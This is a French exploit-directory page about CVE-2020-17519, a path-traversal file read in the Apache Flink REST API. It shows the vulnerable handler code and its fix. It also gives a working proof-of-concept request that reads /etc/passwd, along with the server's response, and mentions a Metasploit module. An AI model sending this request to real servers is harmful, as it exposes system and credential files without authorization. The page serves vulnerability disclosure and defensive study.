Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/murataydemir/cve-2020-17519
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubmurataydemir/cve-2020-17519

CVE-2020-17519

[CVE-2020-17519] Apache Flink API RESTful Lecture arbitraire de fichiers

Voir le dépôt
821il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2020-17519] Lecture arbitraire de fichiers via l'API RESTful d'Apache Flink


Apache Flink est un framework et un moteur de traitement distribué pour des calculs avec état sur des flux de données non bornés et bornés, développé en Java et Scala. Un changement introduit dans Apache Flink 1.11.0 (et également publié dans les versions 1.11.1 et 1.11.2) permet aux attaquants de lire n'importe quel fichier du système de fichiers local du JobManager via l'API RESTful du processus JobManager. L'accès au système de fichiers est limité aux fichiers accessibles par le processus JobManager.

Bien que toutes les versions comprises entre 1.11.0 - 1.11.2 soient affectées par la vulnérabilité, Apache Flink a corrigé la vulnérabilité pour les versions 1.11.3 et supérieures.

Le code vulnérable est la classe src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java. L'extrait de code associé est présenté ci-dessous.

root@kitploit:~
		if (logDir == null) {
			return null;
		}
		String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		return new File(logDir, filename);
	}
}

Le problème est que le gestionnaire de requêtes permet un accès direct au chemin du fichier. Avec ce , la ligne de code vulnérable a été modifiée comme ci-dessous. Dans l'extrait de code ci-dessous, la ligne vulnérable est marquée comme ligne de commentaire.

commit
root@kitploit:~
		if (logDir == null) {
			return null;
		}
		// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
		return new File(logDir, filename);
	}
}

Preuve de concept (PoC) : Pour exploiter cette vulnérabilité, vous pouvez utiliser la requête suivante

root@kitploit:~
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

La réponse à la requête ci-dessus est présentée ci-dessous.

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

Image du PoC
De plus, un module Metasploit est disponible pour CVE-2020-17519 avec un classement Excellent. Vous pouvez trouver les codes Ruby ici. Image du PoC

Télécharger l’outil